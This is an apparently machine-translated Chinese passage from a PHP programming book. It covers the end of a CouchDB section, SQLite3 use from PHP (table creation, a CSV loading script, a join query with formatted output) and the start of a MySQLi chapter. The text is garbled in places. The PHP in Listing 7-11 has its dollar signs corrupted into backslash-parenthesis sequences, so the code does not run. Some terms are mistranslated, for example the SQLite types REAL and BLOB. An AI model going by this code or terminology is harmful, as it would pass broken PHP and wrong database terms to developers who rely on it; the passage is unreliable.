foreach ($deptno30['rows'] as $r) { foreach ($r['value'] as $key => $value) { printf("%s = %s\t",$key,$value); } print "\n"; } } catch(Exception $e) { printf("Exception code:%d\n",$e->getCode()); printf("%s\n",$e->getMessage()); exit(-1); } ?>
这个脚本调用 couchClient 类的getView
方法来查询数据库。查询结果以数组的形式返回。可以包括许多其他选项来限制结果的数量、限制返回的关键字、对它们进行排序等等。这些类的文档很少,所以最好的办法是查看类源代码本身。执行该脚本时,结果如下所示:
empno = 7499 ename = ALLEN job = SALESMAN mgr = 7698 sal = 1600 empno = 7521 ename = WARD job = SALESMAN mgr = 7698 sal = 1250 empno = 7654 ename = MARTIN job = SALESMAN mgr = 7698 sal = 1250 empno = 7698 ename = BLAKE job = MANAGER mgr = 7839 sal = 2850 empno = 7844 ename = TURNER job = SALESMAN mgr = 7698 sal = 1500 empno = 7900 ename = JAMES job = CLERK mgr = 7698 sal = 950
CouchDB 结论
CouchDB 非常强大,但是缺乏特定查询功能在某种程度上限制了它的使用。它非常受欢迎,并且有据可查。PHP 接口易于使用,但也是不必要的。人们可以通过直接使用 HTTP 协议和像 curl 这样的命令行工具来利用 CouchDB 的强大功能。利用PEAR HTTP_Request
或HTTP_Request2
包和JSON
扩展就足以与 CouchDB 通信。
我们的下一个数据库属于 SQL 数据库的范畴。它不是一个成熟的 RDBMS,但是实现了 SQL 92 标准的一个非常重要的子集。
SQLite 简介
SQLite 是一个基于 SQL 的数据库,适合放在一个文件中,用于嵌入式系统。它被 Firefox 浏览器、Thunderbird 电子邮件客户端和许多其他应用使用,这些应用运行在从手机到主机系统的所有设备上。SQLite 是一个关系数据库,这意味着它实现了 SQL 语言。SQLite 是一款开源软件([
sqlite.org](http://sqlite.org)
)。
与 NoSQL 数据库相比,关系数据库具有相当严格的模式结构。模式是相关对象的集合,主要是表和视图。关系数据库模式的基本单位称为表。这些表仿照真实世界的表:具有列的固定结构,通常称为属性和行。每一行只能包含为表定义的列,没有额外的属性——这也与 NoSQL 数据库相反,后者没有模式,这意味着它们不会在文档上强加固定的行结构。如果某一列不存在于某一行中,该列对于该行的值被设置为 NULL,这个人工值带有一些奇怪的属性。空是关系理论的黑洞。没有什么等于零;只能使用 IS [NOT] NULL 关系运算符测试列是否为 NULL。此外,空值会修改 RDBMS 系统中的逻辑。与空值的逻辑比较总是产生空值,这是除了“真”和“假”值之外,语句逻辑检查的第三个值。是的,没错:关系数据库不使用二进制逻辑。他们使用三元逻辑,表达式求值有三种可能的结果。NULL 实际上不是一个值;这是价值的缺失。
NULL 也是 SQLite 数据类型之一。SQLite 3 支持以下自我解释的数据类型:
- 空
- 整数
- 真实的
- 文本
- 一滴
其他关系数据库也支持各种不同的日期/时间类型,如日期、时间、间隔或时间戳,但 SQLite 是一种嵌入式数据库,其类型仅限于上述类型。“小尺寸”是它的设计目标之一,拥有一个复杂的日期/时间库将显著增加它,所以它在最终版本中被省略了。下一章将描述一个名为 MySQL 的成熟的关系数据库,它对日期/时间数据类型有广泛的支持,但本章的其余部分将介绍 SQLite 及其与 PHP 的集成。
对于关系数据库,还有另外两种重要的实体:视图和约束。视图是预先打包的查询,存储在数据库中用于查询。它们可以出现在查询中允许表的任何地方。视图本质上是命名查询。
顾名思义,约束是我们从数据中需要的规则和条例。SQLite 允许声明约束,但是它不强制约束,除了主键约束,当然,主键约束是最重要的约束。
表的主键约束唯一标识表中的每一行。每一行都必须有一个值,并且所有值都必须互不相同。它有点像银行账号:银行的每个客户都必须有一个,不同的客户有不同的账号。特别是,这意味着主键的值不能为空。主键约束在关系理论中非常重要,纯粹主义者认为每个表都应该有一个主键约束。拥有一个无法唯一标识行的表有什么意义呢?我们如何判断这些行是不同的?
还存在唯一约束,要求值在它们存在的地方是唯一的。这意味着唯一键的值可以为空,与主键相反。如果允许将行插入到表中,还存在要求列有值的 NOT NULL 约束。
Check 约束是对列施加用户计算值限制的列约束。一个例子是要求列值总是正数,不允许负数的约束。最后也是最复杂的约束是外键约束。为了解释它们,让我把本章“更新 MongoDB”一节的图片带回来(见图 7-6 )。
图 7-6。 MongoDB 采集信息设计
我们有两个表:一个描述雇员,另一个描述部门。employees 表中的部门号包含在 department 表中的要求称为“外键”EMP 表中deptno
列的每个值都需要出现在另一个表的主键或唯一键列中,在本例中是 DEPT 表。对于读者来说,理解这些类型的实体并不特定于 SQLite 数据库是很重要的;它们在 SQL 标准中有描述。SQL 标准的最新版本发布于 2008 年。SQL 是一种活生生的语言,在数据库领域占据着至高无上的地位,目前市场上的大多数数据库系统都实现了 SQL。这包括 Oracle、Microsoft SQL Server、IBM DB2 和 Sybase 等商业数据库,以及 MySQL、PostgreSQL、SQL Lite 或 Firebird 等开源数据库。本章前面介绍的 NoSQL 数据库非常新,仍在市场上寻找自己的位置。
这本书是关于 PHP 的,而不是关于数据库和 SQL 标准化的。然而,为了解释如何从 PHP 使用关系数据库,我将尝试解释基础知识。本书并不假定读者熟悉关系数据库系统,但是拥有它肯定会有助于理解本章和下一章的内容。
既然我们知道了在关系数据库中可以合理地预期哪些对象,我们需要说一些关于这些对象是如何操作的,数据是如何检索的,以及如何更新的。关系数据库是根据基本集合论建模的。所有 SQL 语句的主要对象都是子集。包含在SELECT
语句中的查询允许用户选择一个或多个表的子集。重要的是将由SELECT
语句返回的数据视为子集,而不是单个的行或记录,因为它们有时被称为。除了SELECT
语句,还有INSERT
、DELETE
、UPDATE
语句,也是对子集进行操作。
不提到索引,关于关系实体的讨论就不完整。索引不像表或视图那样是逻辑对象;索引是纯粹的物理结构,由管理员创建以加快查询速度。通常会自动创建索引来实现主键和唯一键约束,但 SQLite 不会这样。在 SQLite 中,如果要实施约束,必须手动创建唯一索引。
SQL 不是一种过程语言。SQL 语句指定它们将操作的子集,而不是如何提取该子集。每个关系数据库软件都包含一个称为查询优化器的部分,它在运行时确定 SQL 命令请求的对象的访问路径。具体来说,查询优化器决定哪些索引将用于解析查询和检索所请求的子集,以及哪种方法将用于连接表(如果需要)。
除了查询优化器,所有的关系数据库,SQLite 也不例外,都有数据字典。数据字典就是所谓的元数据——关于数据的数据。它描述数据库中的所有其他对象,对于数据库软件的运行起着至关重要的作用。SQLite 是一个嵌入式数据库,创建时考虑到占用空间小,所以数据字典的角色被委托给一个名为sqlite_master
的表。此表包含以下各列:
- 名称(对象的名称)
- 类型(对象的类型)
- tbl_name(表名,对索引很重要)
- rootpage(数据库文件中对象的开头)
- sql(对象的创建语句)
大多数其他关系数据库都有一个由数百个表组成的大得多的数据字典。数据字典最好通过命令行界面来演示,这个程序名为sqlite3
。它通常使用所需的数据库名称作为命令行参数来调用:sqlite3 scott.sqlite
。
如果数据库scott.sqlite
不存在,它将被创建。结果将如下所示:
sqlite3 scott.sqlite SQLite version 3.3.6 Enter ".help" for instructions sqlite>
这个工具有很好的帮助和相当多有用的功能。它可以用来执行 SQL 命令和验证结果,而不需要太多的脚本。然而,正如我不断提醒自己的,这本书是关于 PHP 的。SQLite 是一个嵌入式数据库,这意味着它应该从程序中使用,而不是从像 sqlite3 这样的 CLI 实用程序中使用。所以,让我们开始描述 SQLite 的 PHP 接口。任何关系数据库的任何编程接口都至少有以下组件:
- 连接例程:对于 SQLite 来说,这些非常简单,与其他关系数据库不同,其他关系数据库通常有自己的网络协议和不同的身份验证方法。
- 执行 SQL 例程:根据选项的不同,这些例程可能相对复杂。除了执行 SQL 的例程,每个编程接口通常都提供一个“绑定”变量的方法。后面会看到一些例子,详细解释绑定变量的过程。这一类别中还包括“准备”例程,它将 SQL 语句从可读的文本形式翻译成一个称为“语句句柄”的对象。
- 描述结果集的例程:关系数据库将返回结果集,结果集具有不同的列、不同的名称和数据类型。总是有一个“describe”调用,它将描述返回给调用程序的结果集。
- 将结果集提取到调用程序中的例程:不同的数据库有不同的选项来加速数据检索,因此这也不是完全无关紧要的。
如果接口有类,通常会有一个connection
类、statement
类和一个result
set
类。由于历史原因,result
集合类有时也被称为cursor
类。这并没有描述开发人员在编写访问关系数据库的程序时所使用的语言。
当然,这些组件存在于 SQLite 的 PHP 接口中。所以,事不宜迟,让我们看看我们的第一个 SQLite 例子(见清单 7-10 )。该脚本将创建数据库结构,包括前面显示的 emp 和 dept 表,以及一个外键和一个索引。
清单 7-10。 SQLite 示例
<?php $DDL = <<<EOT CREATE TABLE dept ( deptno integer NOT NULL, dname text, loc text, CONSTRAINT dept_pkey PRIMARY KEY (deptno) ); CREATE TABLE emp ( empno integer NOT NULL, ename text , job text , mgr integer, hiredate text, sal real, comm real, deptno integer, CONSTRAINT emp_pkey PRIMARY KEY (empno), CONSTRAINT fk_deptno FOREIGN KEY (deptno) REFERENCES dept (deptno) ON DELETE CASCADE ); CREATE UNIQUE INDEX pk_emp on emp(empno); CREATE INDEX emp_deptno on emp(deptno); CREATE UNIQUE INDEX pk_dept on dept(deptno); EOT; try { $db = new SQLite3("scott.sqlite"); @$db->exec($DDL); if ($db->lastErrorCode() != 0) { throw new Exception($db->lastErrorMsg()."\n"); } print "Database structure created successfully.\n"; } catch(Exception $e) { print "Exception:\n"; die($e->getMessage()); } ?>
这个脚本主要由 DDL 变量中的 SQL 命令组成。真正活跃的部分在try
块中,它通过将这个变量传递给用于执行 SQL 语句的query
方法来执行这个变量。该方法返回一个resultset
或cursor
类的实例,该实例可用于找出查询返回的列数、它们的名称和类型,以及检索数据。
我们的$DDL
命令创建表和索引,不返回任何列。那么,我们应该如何知道命令是否成功呢?不幸的是,SQLite3 类不抛出异常:异常必须由程序员抛出。然而,SQLite 确实提供了确定最后一个错误代码和消息的方法,然后可以使用这些方法来创建和抛出一个异常。成功的代码是 0,其他的都表示错误。
当这个脚本被执行时,它将创建一个数据库scott.sqlite
(如果它不存在的话),并将创建我们想要的数据库结构。您还应该注意到几个 SQL 语句被捆绑在一起:两个create table
语句和三个create index
语句作为一个单元执行。此外,尽管 SQLite 不强制约束,唯一索引将防止重复数据被输入到表中。它们不会阻止将空值插入主键列。
现在,我们的表已经创建好了,我们必须向其中加载一些数据。要加载的数据位于两个逗号分隔值(CSV)文件中,因此需要一个相对通用的脚本来将 CSV 文件加载到数据库中。该脚本将接受两个命令行参数,表名和文件名。这样一个脚本是一个很好的工具,可以演示所有关系数据库管理系统(RDBMS)中的许多概念。这两个文件如下所示:
`Emp.csv
7369,SMITH,CLERK,7902,17-DEC-80,800,,20
7499,ALLEN,SALESMAN,7698,20-FEB-81,1600,300,30
7521,WARD,SALESMAN,7698,22-FEB-81,1250,500,30
7566,JONES,MANAGER,7839,02-APR-81,2975,,20
7654,MARTIN,SALESMAN,7698,28-SEP-81,1250,1400,30
7698,BLAKE,MANAGER,7839,01-MAY-81,2850,,30
7782,CLARK,MANAGER,7839,09-JUN-81,2450,,10
7788,SCOTT,ANALYST,7566,19-APR-87,3000,,20
7839,KING,PRESIDENT,,17-NOV-81,5000,,10
7844,TURNER,SALESMAN,7698,08-SEP-81,1500,0,30
7876,ADAMS,CLERK,7788,23-MAY-87,1100,,20
7900,JAMES,CLERK,7698,03-DEC-81,950,,30
7902,FORD,ANALYST,7566,03-DEC-81,3000,,20
7934,MILLER,CLERK,7782,23-JAN-82,1300,,10
Dept.csv
10,ACCOUNTING,"NEW YORK"
20,RESEARCH,DALLAS
30,SALES,CHICAGO
40,OPERATIONS,BOSTON`
将数据分别加载到emp
和dept
表中的脚本看起来像清单 7-11 中的。
清单 7-11。将数据加载到emp
和dept
表中的脚本
`<?php
if (\(argc != 3) {
die("USAGE:script7.11 <table_name> <file name>\n");
}
\)tname = \(argv[1];
\)fname = \(argv[2];
\)rownum = 0;
function create_insert_stmt($table, \(ncols) {
\)stmt = "insert into \(table values(";
foreach(range(1,\)ncols) as \(i) {
\)stmt.= ":\(i,";
}
\)stmt = preg_replace("/,$/", ')', \(stmt);
return (\)stmt);
}
try {
\(db = new SQLite3("scott.sqlite");
\)res = $db->query("select * from \(tname");
if (\)db->lastErrorCode() != 0) {
throw new Exception(\(db->lastErrorMsg());
}
\)ncols = \(res->numColumns();
\)res->finalize();
\(ins = create_insert_stmt(\)tname, \(ncols);
print "Insert stmt:\)ins\n";
$res = \(db->prepare(\)ins);
\(fp=new SplFileObject(\)fname,"r");
while ($row = \(fp->fgetcsv()) {
if (strlen(implode('',\)row))==0) continue;
foreach(range(1,$ncols) as \(i) {
\)res->bindValue(":$i", \(row[\)i - 1]);
}
\(res->execute();
if (\)db->lastErrorCode() != 0) {
print_r(\(row);
throw new Exception(\)db->lastErrorMsg());
}
\(rownum++;
}
print "\)rownum rows inserted into $tname.\n";
}
catch(Exception \(e) {
print "Exception:\n";
die(\)e->getMessage() . "\n");
}
?>`
执行时,结果如下所示:
./script7.11.php emp emp.csv Insert stmt:insert into emp values(:1,:2,:3,:4,:5,:6,:7,:8) 14 rows inserted into emp. ./script7.11.php dept dept.csv Insert stmt:insert into dept values(:1,:2,:3) 4 rows inserted into dept.
现在,我们来讨论一下剧本。这个脚本实际上是有用的,因为它很容易移植到各种数据库。正如清单 7-10 中的脚本一样,最重要的部分是在try
块中的部分。首先要注意的是对try
块开头的查询:
$res = $db->query("select * from $tname");
query
方法执行作为字符串传递给它的查询,并返回一个statement
类的实例。statement
类用于找出查询返回的列的名称和类型信息,以及检索数据本身。但是,请注意,没有从表中检索到任何行;对查询结果的检查只是为了确定返回的列数。这是通过调用statement
类的“numColumns”方法完成的:
$ncols = $res->numColumns();
当表中的列数已知时,可以构造 insert 语句,并使用“finalize”调用关闭查询的结果集。当不再需要游标时,最好关闭它们,这样可以防止内存泄漏和致命的混乱。现在,让我们回到构造 insert 语句。创建 insert 语句有两种可能的策略:
- 可以为需要插入的每一行构造一个单独的 insert 语句。这迫使数据库将每个这样构造的 SQL 语句作为一个单独的语句来解析并执行它。解析每个语句意味着将它传递给查询优化器。这可能是一个开销很大的操作,尤其是在更复杂的数据库中,这些数据库将对象统计信息视为查询优化的一部分。这经常(但不总是)更容易编程,尤其是当程序在已知的一组表和列上操作时。
- 我们可以构造一个语句,为每个要插入的值指定占位符,解析一次并执行多次,每次执行语句时都将新值绑定到占位符。这样做需要使用来自编程接口的“bind”调用,因此通常比使用内置字符串操作函数简单地创建 SQL 语句更复杂,但几乎总是会导致代码明显更快。
这个脚本方便地将创建的insert
语句打印在标准输出上,这样我们就可以看到我们手工制作的结果。对于 emp 表,结果如下所示:
insert into emp values(:1,:2,:3,:4,:5,:6,:7,:8)
实体“:1”、“2”、“3”...“:8”称为占位符。以冒号(":")开头的任何字母数字字符串都是合法的占位符。当要求数据库准备包含占位符的语句时,它会将其解析为内部形式,但在提供占位符的实际值之前无法执行该语句。这部分是通过使用bindValue
或bindParam
调用完成的,它们将占位符绑定到一个值或变量。在这个脚本中,使用了bindValue
调用,因为主循环每次都会返回一个新的变量$row
,所以将其作为参数绑定是没有意义的。它可以在一开始就声明,使其成为全局变量,但是使用全局变量是一种不被认可的编程实践。全局变量使程序不可读,并可能导致名称冲突和错误。prepare
方法返回statement
类的一个实例,该类也有一个execute
方法。一旦所有占位符都有了已知的值,通过绑定调用,就可以一遍又一遍地执行该语句,而不需要重新解析,只需为每次执行提供一组新的值。绑定调用如下所示:
$res->bindValue(":$i", $row[$i – 1]);
选择占位符名称的:$i
形式的主要原因是为了能够在一个循环中绑定值。这就把我们带到了剧本本身的结尾。这个脚本还有一点需要注意:主循环中奇怪的“if”条件,通过使用implode
和strlen
检查$row
是否为空。在 PHP 5.3 的某些版本中,SplFileObject
对象将在文件末尾返回一个空行,如果没有这个条件,它将被插入到表中,因为 SQLite 不强制约束。其他数据库会拒绝主键为空的行,但也会回滚整个事务,从而删除所有以前插入的行,这并不是预期的结果。对于将所有错误检查内置到类本身中而言,拥有“if”语句是一个很小的代价,而不必编写类似以下的代码:
$fp = fopen($fname, "r"); if (!$fp) { die("Cannot open $fname for reading!\n"); }
这是好心的 SPL 的作者们做的。在结束本章之前,还有一件事要做。到目前为止,我们已经创建了 SQLite 表并加载了数据,但是实际上我们还没有从数据库中检索到任何东西。将要执行的查询是一个标准连接:
select e.ename,e.job,d.dname,d.loc from emp e join dept d on(d.deptno=e.deptno);
这种类型的查询称为联接,因为它将两个(或更多)表中的数据联接起来,以行的形式显示出来。这种特殊的语法称为 ANSI join 语法,在数据库之间非常容易移植。这个完全相同的查询可以在任何关系数据库上执行,甚至不需要改变一个字符。
执行清单 7-10 和清单 7-11 中显示的脚本将提供数据库结构和其中的数据,因此在编写脚本之前,可以使用前面提到的sqlite3
命令行工具测试该查询。只打印数据太琐碎,也没什么意思,所以脚本还会打印列标题,并相应地确定列格式。所以,在这里,在清单 7-12 中。
清单 7-12。
<?php $QRY = "select e.ename,e.job,d.dname,d.loc from emp e join dept d on(d.deptno=e.deptno)"; $colnames = array(); $formats = array(); $ncols = 0; try { $db = new SQLite3("scott.sqlite"); $res = $db->query($QRY);
if ($db->lastErrorCode() != 0) { throw new Exception($db->lastErrorMsg()); } // Get the number of columns $ncols = $res->numColumns(); // For every column, define format, based on the type foreach (range(0, $ncols - 1) as $i) { $colnames[$i] = $res->columnName($i); switch ($res->columnType($i)) { case SQLITE3_TEXT: $formats[$i] = "% 12s"; break; case SQLITE3_INTEGER: $formats[$i] = "% 12d"; break; case SQLITE3_NULL: $formats[$i] = "% 12s"; break; default: $formats[$i] = "%12s"; } } // Print column titles, converted to uppercase. foreach ($colnames as $c) { printf("%12s", strtoupper($c)); } // Print the boundary printf("\n% '-48s\n", "-"); // Print row data while ($row = $res->fetchArray(SQLITE3_NUM)) { foreach (range(0, $ncols - 1) as $i) { printf($formats[$i], $row[$i]); } print "\n"; } } catch(Exception $e) { print "Exception:\n"; die($e->getMessage() . "\n"); } ?>
该脚本的输出如下所示:
`/script7.12.php
ENAME JOB DNAME LOC
SMITH CLERK RESEARCH DALLAS
ALLEN SALESMAN SALES CHICAGO
WARD SALESMAN SALES CHICAGO
JONES MANAGER RESEARCH DALLAS
MARTIN SALESMAN SALES CHICAGO
BLAKE MANAGER SALES CHICAGO
CLARK MANAGER ACCOUNTING NEW YORK
SCOTT ANALYST RESEARCH DALLAS
KING PRESIDENT ACCOUNTING NEW YORK
TURNER SALESMAN SALES CHICAGO
ADAMS CLERK RESEARCH DALLAS
JAMES CLERK SALES CHICAGO
FORD ANALYST RESEARCH DALLAS
MILLER CLERK ACCOUNTING NEW YORK`
这个脚本包含通常的嫌疑人,一些新的调用。新方法有columnName
、columnType
和fetchArray
。columnName()
方法很琐碎;它将列号作为参数,编号从零开始,并返回列名。columnType
类似于columnName
,返回预定义的常数,这些常数被恰当地命名为:SQLITE3_INTEGER
、SQLITE3_FLOAT
、SQLITE3_TEXT
、SQLITE3_BLOB
和SQLITE3_NULL
。类型名称是不言自明的。如果是浮点型,其他数据库也会返回像列大小和小数位数这样的信息,但是 SQLite 是嵌入式数据库,不会这样做。
最后一个方法是fetchArray
,它将从数据库中以逐行的方式返回数据,将行显示为普通数组、关联数组或两者都有,这取决于模式参数,它可以取三个值之一:SQLITE3_NUM
、SQLITE3_ASSOC
或SQLITE3_BOTH
。
SQLite 结论
SQLite 的 PHP 接口与我们在许多其他数据库(如 MySQL 或 PostgreSQL)的接口中看到的正常调用是一致的,这两者将在下一章中描述。随着无线计算的出现,SQLite 获得了极大的流行。它不是一个成熟的 RDBMS 系统,具有多版本、行级锁定、网络访问协议、参与两阶段分布式提交的能力,甚至可以强制执行基本约束。然而,它有一个非常熟悉的 SQL 接口和编程语言扩展,对于以前使用过关系数据库系统的人来说,这使得它非常容易学习。它是一个完美的数据库,可以保存 Firefox 书签、电子邮件联系人列表、电话号码,甚至是手机上的歌曲播放列表。PHP 和 Apache 也可以在许多平台上使用,包括移动平台,比如 iPhone,这使得 PHP/SQLite 组合非常适合移动应用开发。SQLite 和 PHP 的组合有一些有趣的可能性,这超出了本书的范围。可以扩展 SQLite 并注册 PHP 函数,以便在 SQL 中工作,甚至用作聚合函数。这两种产品都在快速发展,我相信这种结合只会越来越好。
总结
本章致力于 PHP 与非经典关系数据库(如 MySQL 或 Oracle)的集成。所有这些数据库都非常新。例如,本章描述的 SQLite3 只在 PHP 5.3 或更高版本中可用。MongoDB 和 CouchDB 也是非常新的技术。目前,数据库软件领域继续由关系数据库统治,毕竟,关系数据库是在考虑金融交易的情况下建模的。
在下一章,我们将研究一个成熟的关系数据库,MySQL 和两个抽象层,PDO 和 ADOdb。在这一章的最后,还会谈到 Sphinx 工具,这是一个非常流行的全文搜索软件。
八、数据库集成 II
在本章中,我们将了解如何使用成熟的 RDBMS 系统 MySQL。然后,我们将研究两个数据库抽象层,PDO 和 ADOdb。在本章的最后,我们将向您展示如何利用 Sphinx 文本搜索引擎。
对于 MySQL 数据库,有几个 PHP 扩展可供选择。最常用的是 MySQL 扩展。这个扩展很老了,没有面向对象,因为它从 PHP4 和 MySQL 4 就存在了。它还缺少一些重要的特性,比如绑定变量。还有一个更新的扩展,MySQLi,将在本章中介绍。值得一提的是,旧的、过程化的 MySQL 扩展仍然是最常用的。
MySQLi 扩展简介
MySQLi 扩展在许多方面类似于上一章讨论的 SQLite3 扩展。它也是面向对象的,不像旧的 MySQL 扩展那样是过程化的,也不像 SQLite3 那样抛出异常。除了数据库之外,组件是相同的,在这种情况下,数据库比 SQLite 强大得多,并支持全套 ANSI 标准数据库特性。出于本章的目的,MySQL 版运行在本地机器上:
`mysql -u scott --password=tiger scott
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 50
Server version: 5.1.37-1ubuntu5.5 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> select version();
+-------------------+
| version() |
+-------------------+
| 5.1.37-1ubuntu5.5 |
+-------------------+
1 row in set (0.00 sec)`
用户名是“scott”,密码是“tiger”,数据库名是“scott”数据库结构将与 SQLite3 示例中的相同:我们将拥有相同的“emp”和“dept”表。我们还将使用相同的两个脚本:一个用于将 CSV 文件加载到数据库中,另一个用于运行查询。重写相同的脚本建立了比较的基础,并使不同 MySQLi 方法的目的非常清楚。以下是 MySQL 风格的表格描述:
`mysql> describe emp;
+----------+-------------+------+-----+-------------------+---------------------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+-------------------+---------------------+
| empno | int(4) | NO | PRI | NULL | |
| ename | varchar(10) | YES | | NULL | |
| job | varchar(9) | YES | | NULL | |
| mgr | int(4) | YES | | NULL | |
| hiredate| timestamp | NO | | CURRENT_TIMESTAMP |
| sal | double | YES | | NULL | |
| comm | double | YES | | NULL | |
| deptno | int(4) | YES | MUL | NULL | |
+----------+-------------+------+-----+-----------------------+-----------------+
8 rows in set (0.00 sec)
mysql> describe dept;
+----------+-----------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra|
+----------+-----------------+------+-----+---------+--------+
| deptno | int(4) | NO | PRI | NULL | |
| dname | varchar(14) | YES | | NULL | |
| loc | varchar(13) | YES | | NULL | |
+----------+-----------------+------+-----+----------+-------+
3 rows in set (0.00 sec)`
表是空的,还有两个 CSV 文件要加载到数据库中。CSV 代表“逗号分隔值”,是一种标准的表格文件格式,可被 SQL 数据库和电子表格程序(如 Microsoft Excel)识别。事实上,大多数数据库都有特殊规定,允许更容易地加载 CSV 文件。这适用于 MySQL,它有LOAD DATA
命令,如下例所示。然而,我们的脚本仍然是一个很好的练习。下面是LOAD DATA
MySQL 命令的语法描述:
mysql> help load data Name: 'LOAD DATA' Description: Syntax: LOAD DATA [LOW_PRIORITY | CONCURRENT] [LOCAL] INFILE 'file_name' [REPLACE | IGNORE] INTO TABLE tbl_name [CHARACTER SET charset_name] [{FIELDS | COLUMNS} [TERMINATED BY 'string'] [[OPTIONALLY] ENCLOSED BY 'char'] [ESCAPED BY 'char'] ]
[LINES [STARTING BY 'string'] [TERMINATED BY 'string'] ] [IGNORE number LINES] [(col_name_or_user_var,...)] [SET col_name = expr,...]
要加载的文件将被命名为 emp.csv 和 dept.csv 文件与第七章中的版本略有不同。这是因为与 MySQL 不同,SQLite 不支持日期类型。MySQL 支持完整的 ANSI 标准数据类型和数据算法。为了加载时间戳类型的数据,我们必须使用正确的日期格式,即 YYYY-MM-DD HH24:MI-SS。YYYY 部分表示四位数的年份,MM 是月份,DD 是一个月中的某一天,HH24 是 24 小时制的小时,MI 和 SS 是分钟和秒钟。以下是文件:
`emp.csv
7369,SMITH,CLERK,7902,"1980-12-17 00:00:00",800,,20
7499,ALLEN,SALESMAN,7698,"1981-02-20 00:00:00",1600,300,30
7521,WARD,SALESMAN,7698,"1981-02-22 00:00:00",1250,500,30
7566,JONES,MANAGER,7839,"1981-04-02 00:00:00",2975,,20
7654,MARTIN,SALESMAN,7698,"1981-09-28 00:00:00",1250,1400,30
7698,BLAKE,MANAGER,7839,"1981-05-01 00:00:00",2850,,30
7782,CLARK,MANAGER,7839,"1981-06-09 00:00:00",2450,,10
7788,SCOTT,ANALYST,7566,"1987-04-19 00:00:00",3000,,20
7839,KING,PRESIDENT,,"1981-11-17 00:00:00",5000,,10
7844,TURNER,SALESMAN,7698,"1981-09-08 00:00:00",1500,0,30
7876,ADAMS,CLERK,7788,"1987-05-23 00:00:00",1100,,20
7900,JAMES,CLERK,7698,"1981-12-03 00:00:00",950,,30
7902,FORD,ANALYST,7566,"1981-12-03 00:00:00",3000,,20
7934,MILLER,CLERK,7782,"1982-01-23 00:00:00",1300,,10`
“dept”文件与第七章中的版本相同:
`dept.csv
10,ACCOUNTING,"NEW YORK"
20,RESEARCH,DALLAS
30,SALES,CHICAGO
40,OPERATIONS,BOSTON`
创建表格的脚本没有任何有趣的元素。用于执行“创建表”命令的所有调用都包含在加载和查询数据的脚本中。清单 8-1 显示了将两个 CSV 文件加载到各自的 MySQL 表中的脚本。
清单 8-1。将两个 CSV 文件加载到各自的 MySQL 表中
<?php if ($argc != 3) { die("USAGE:script8.1 <table_name> <file name>\n"); } $tname = $argv[1];
$fname = $argv[2]; $rownum = 0; function create_insert_stmt($table, $ncols) { $stmt = "insert into $table values("; foreach (range(1, $ncols) as $i) { $stmt.= "?,"; } $stmt = preg_replace("/,$/", ')', $stmt); return ($stmt); } try { $db = new mysqli("localhost", "scott", "tiger", "scott"); $db->autocommit(FALSE); $res = $db->prepare("select * from $tname"); if ($db->errno != 0) { throw new Exception($db->error); } $ncols = $res->field_count; $res->free_result(); $ins = create_insert_stmt($tname, $ncols); $fmt = str_repeat("s", $ncols); $res = $db->prepare($ins); if ($db->errno != 0) { throw new Exception($db->error); } $fp = new SplFileObject($fname, "r"); while ($row = $fp->fgetcsv()) { if (strlen(implode('', $row)) == 0) continue; array_unshift($row, $fmt); foreach(range(1,$ncols) as $i) { $row[$i]=&$row[$i]; } call_user_func_array(array(&$res, "bind_param"), &$row); $res->execute(); if ($res->errno != 0) { print_r($row); throw new Exception($res->error); } $rownum++; } $db->commit(); if ($db->errno != 0) { throw new Exception($db->error); } print "$rownum rows inserted into $tname.\n"; } catch(Exception $e) { print "Exception:\n"; die($e->getMessage() . "\n"); } ?>
这个剧本里有不少有趣的元素。连接到数据库不是其中之一。创建新的 MySQLi 实例的参数是主机名、用户名、密码和要连接的数据库。此语句将关闭自动提交模式:
$db->autocommit(FALSE);
MySQL 是一个完整的关系数据库,支持事务和 ACID 需求,正如在第七章中所解释的。COMMIT
语句是一个 ANSI SQL 语句,它使当前事务的效果永久化。相反的命令是ROLLBACK
,它将取消当前交易的效果。在自动提交模式下,数据库会在每个 SQL 语句后发出COMMIT
,比如 insert。COMMIT
语句的开销非常大,因为按照 ACID 要求,会话必须等到所需的信息被物理写入磁盘后才能继续。不仅该语句非常昂贵和耗时,自动打开提交可能会导致部分加载,这通常是不希望的。好的程序员希望纠正问题,重新开始加载。
注意关闭自动提交是所有关系数据库的常见做法。当脚本包含
INSERT
、UPDATE
或DELETE
语句时使用。自动提交是一项开销非常大的操作。
与 SQLite 的情况一样,我们将使用一个select * from table
SQL 语句来找出有多少列。要执行的第一个调用是prepare
:
$res = $db->prepare("select * from $tname");
这将解析 SQL 语句,并将其转换为类MYSQLI_STMT
的对象,一个解析的语句。MYSQLI_STMT
属性之一是包含字段的数量:
$ncols = $res->field_count;
当列数已知时,可以使用free_result
调用并构造 insert 语句来关闭这个结果集。用来做这件事的函数与清单 7-9 中使用的同名函数非常相似,但并不相同。不同之处在于,插入现在看起来像这样:
insert into dept values(?,?,?)
它有问号,而不是占位符名称:1
、:2
和:3
,如清单 7-9 中的所示。原因是 MySQLi 接口不支持命名绑定,只支持位置绑定。所有绑定必须同时完成,将一个值数组绑定到解析后的语句。语句绑定方法具有以下格式:
$res->bind_param("fmt",$var1,$var2,$var3,...,$varN);
第一个参数是格式字符串,它是由每个绑定变量的一个字符组成的字符串。格式字符告诉 MySQLi 变量的类型,该变量被绑定到与它在参数数组中相同的位置。这意味着$var1
被绑定到 insert 中的第一个位置,由第一个问号标记,$var2 被绑定到第二个问号,依此类推。格式字符串是“I”表示整数,“d”表示双精度数,“s”表示字符串,“b”表示 blob。Blobs 是二进制数据集合,就像图像一样。
我们现在有一个编程问题:我们必须在一个 PHP 语句中将变量绑定到 insert 语句,而不知道我们必须绑定多少个变量。格式化字符串很简单——我们只需构造一个由所有字符串组成的字符串。PHP 等弱类型脚本语言的一个好处是类型通常不是大问题;几乎所有东西都可以转换成字符串。对于bind_param
方法,我们必须使用一些诡计。幸运的是,PHP 在技巧方面非常通融。有一个 PHP 函数叫做call_user_func_array
,调用第一个参数中命名的用户函数,用第二个参数中的 array 作为参数数组。如果我们有一个带三个参数($a1,$a
和$a3)
)的函数F(),
,那么表达式F($a1,$a2,$a3)
将完全等价于表达式call_user_func_array("F",array($a1,$a2,$a3))
。如果函数F()
是对象$obj
的一个方法,那么第一个参数将是array($obj,"F")
